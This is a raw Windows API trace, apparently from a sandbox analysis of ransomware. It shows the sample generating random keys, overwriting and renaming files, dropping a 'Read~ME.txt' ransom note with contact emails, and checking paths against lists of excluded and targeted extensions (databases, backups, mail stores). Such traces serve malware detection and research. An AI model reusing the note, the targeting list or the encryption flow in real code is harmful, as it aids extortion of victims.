	[0084.597] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0084.598] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.598] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.598] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20458802312) returned 1
	[0084.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c421ad0, dwHighDateTime=0x1d60e1e)) 
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a29c0
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a29c0 | out: hHeap=0x300000) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2809050
	[0084.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28432f8
	[0084.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809050 | out: hHeap=0x300000) returned 1
	[0084.599] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.599] GetLastError () returned 0x0
	[0084.599] GetLastError () returned 0x0
	[0084.599] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.599] GetLastError () returned 0x0
	[0084.599] GetLastError () returned 0x0
	[0084.601] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffb3e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.601] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x4c1d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4c1d, lpOverlapped=0x0) returned 1
	[0084.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.601] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.601] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.602] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.602] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.602] CloseHandle (hObject=0x124) returned 1
	[0084.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.~~~~")) returned 1
	[0084.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.603] GetLastError () returned 0x0
	[0084.603] RtlWakeConditionVariable () returned 0x365f70
	[0084.603] GetCurrentThreadId () returned 0xaf0
	[0084.603] GetCurrentThreadId () returned 0xaf0
	[0084.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28091a0 | out: hHeap=0x300000) returned 1
	[0084.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a29f8 | out: hHeap=0x300000) returned 1
	[0084.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28091a0
	[0084.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.604] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.604] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.605] CloseHandle (hObject=0x124) returned 1
	[0084.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28091a0 | out: hHeap=0x300000) returned 1
	[0084.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.605] RtlWakeConditionVariable () returned 0x365f70
	[0084.605] GetCurrentThreadId () returned 0xaf0
	[0084.605] GetCurrentThreadId () returned 0xaf0
	[0084.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808a68 | out: hHeap=0x300000) returned 1
	[0084.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa010 | out: hHeap=0x300000) returned 1
	[0084.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808a68
	[0084.605] lstrlenW (lpString=".scr") returned 4
	[0084.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".scr") returned 0x0
	[0084.605] lstrlenW (lpString=".cmd") returned 4
	[0084.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".cmd") returned 0x0
	[0084.605] lstrlenW (lpString=".dll") returned 4
	[0084.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dll") returned 0x0
	[0084.606] lstrlenW (lpString=".bat") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".bat") returned 0x0
	[0084.606] lstrlenW (lpString=".cpl") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".cpl") returned 0x0
	[0084.606] lstrlenW (lpString=".sys") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".sys") returned 0x0
	[0084.606] lstrlenW (lpString=".msc") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".msc") returned 0x0
	[0084.606] lstrlenW (lpString=".com") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".com") returned 0x0
	[0084.606] lstrlenW (lpString=".lnk") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".lnk") returned 0x0
	[0084.606] lstrlenW (lpString=".msp") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".msp") returned 0x0
	[0084.606] lstrlenW (lpString=".pif") returned 4
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".pif") returned 0x0
	[0084.606] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.630] lstrlenW (lpString=".sqb") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".sqb") returned 0x0
	[0084.630] lstrlenW (lpString=".ost") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".ost") returned 0x0
	[0084.630] lstrlenW (lpString=".txt") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".txt") returned 0x0
	[0084.630] lstrlenW (lpString=".mdt") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".mdt") returned 0x0
	[0084.630] lstrlenW (lpString=".BDB") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".BDB") returned 0x0
	[0084.630] lstrlenW (lpString=".eql") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".eql") returned 0x0
	[0084.630] lstrlenW (lpString=".DBF") returned 4
	[0084.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DBF") returned 0x0
	[0084.631] lstrlenW (lpString=".EQL") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".EQL") returned 0x0
	[0084.631] lstrlenW (lpString=".FDB") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".FDB") returned 0x0
	[0084.631] lstrlenW (lpString=".EDB") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".EDB") returned 0x0
	[0084.631] lstrlenW (lpString=".DACPAC") returned 7
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.631] lstrlenW (lpString=".VHD") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".VHD") returned 0x0
	[0084.631] lstrlenW (lpString=".DBV") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DBV") returned 0x0
	[0084.631] lstrlenW (lpString=".dacpac") returned 7
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dacpac") returned 0x0
	[0084.631] lstrlenW (lpString=".sdf") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".sdf") returned 0x0
	[0084.631] lstrlenW (lpString=".accdb") returned 6
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".accdb") returned 0x0
	[0084.631] lstrlenW (lpString=".DBX") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DBX") returned 0x0
	[0084.631] lstrlenW (lpString=".MDT") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".MDT") returned 0x0
	[0084.631] lstrlenW (lpString=".SQB") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".SQB") returned 0x0
	[0084.631] lstrlenW (lpString=".vhd") returned 4
	[0084.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".vhd") returned 0x0
	[0084.631] lstrlenW (lpString=".bac") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".bac") returned 0x0
	[0084.632] lstrlenW (lpString=".mdf") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".mdf") returned 0x0
	[0084.632] lstrlenW (lpString=".BAK") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".BAK") returned 0x0
	[0084.632] lstrlenW (lpString=".BAC") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".BAC") returned 0x0
	[0084.632] lstrlenW (lpString=".dbs") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dbs") returned 0x0
	[0084.632] lstrlenW (lpString=".vhdx") returned 5
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".vhdx") returned 0x0
	[0084.632] lstrlenW (lpString=".NDF") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".NDF") returned 0x0
	[0084.632] lstrlenW (lpString=".dat") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dat") returned 0x0
	[0084.632] lstrlenW (lpString=".DBS") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DBS") returned 0x0
	[0084.632] lstrlenW (lpString=".CKP") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".CKP") returned 0x0
	[0084.632] lstrlenW (lpString=".edb") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".edb") returned 0x0
	[0084.632] lstrlenW (lpString=".PST") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".PST") returned 0x0
	[0084.632] lstrlenW (lpString=".dbf") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dbf") returned 0x0
	[0084.632] lstrlenW (lpString=".SQL") returned 4
	[0084.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".SQL") returned 0x0
	[0084.633] lstrlenW (lpString=".pst") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".pst") returned 0x0
	[0084.633] lstrlenW (lpString=".dbv") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dbv") returned 0x0
	[0084.633] lstrlenW (lpString=".SDF") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".SDF") returned 0x0
	[0084.633] lstrlenW (lpString=".dtxs") returned 5
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dtxs") returned 0x0
	[0084.633] lstrlenW (lpString=".db3") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".db3") returned 0x0
	[0084.633] lstrlenW (lpString=".OST") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".OST") returned 0x0
	[0084.633] lstrlenW (lpString=".dbx") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dbx") returned 0x0
	[0084.633] lstrlenW (lpString=".DB3") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DB3") returned 0x0
	[0084.633] lstrlenW (lpString=".DAT") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DAT") returned 0x0
	[0084.633] lstrlenW (lpString=".VHDX") returned 5
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".VHDX") returned 0x0
	[0084.633] lstrlenW (lpString=".ndf") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".ndf") returned 0x0
	[0084.633] lstrlenW (lpString=".DB") returned 3
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DB") returned 0x0
	[0084.633] lstrlenW (lpString=".sql") returned 4
	[0084.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".sql") returned 0x0
	[0084.633] lstrlenW (lpString=".MYD") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".MYD") returned 0x0
	[0084.634] lstrlenW (lpString=".DBT") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DBT") returned 0x0
	[0084.634] lstrlenW (lpString=".ACCDB") returned 6
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.634] lstrlenW (lpString=".fdb") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".fdb") returned 0x0
	[0084.634] lstrlenW (lpString=".bak") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".bak") returned 0x0
	[0084.634] lstrlenW (lpString=".myd") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".myd") returned 0x0
	[0084.634] lstrlenW (lpString=".DTXS") returned 5
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".DTXS") returned 0x0
	[0084.634] lstrlenW (lpString=".ckp") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".ckp") returned 0x0
	[0084.634] lstrlenW (lpString=".dbt") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".dbt") returned 0x0
	[0084.634] lstrlenW (lpString=".db") returned 3
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".db") returned 0x0
	[0084.634] lstrlenW (lpString=".TXT") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".TXT") returned 0x0
	[0084.634] lstrlenW (lpString=".MDF") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".MDF") returned 0x0
	[0084.634] lstrlenW (lpString=".bdb") returned 4
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".bdb") returned 0x0
	[0084.634] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.635] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.636] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.636] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20462607874) returned 1
	[0084.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c46dd90, dwHighDateTime=0x1d60e1e)) 
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
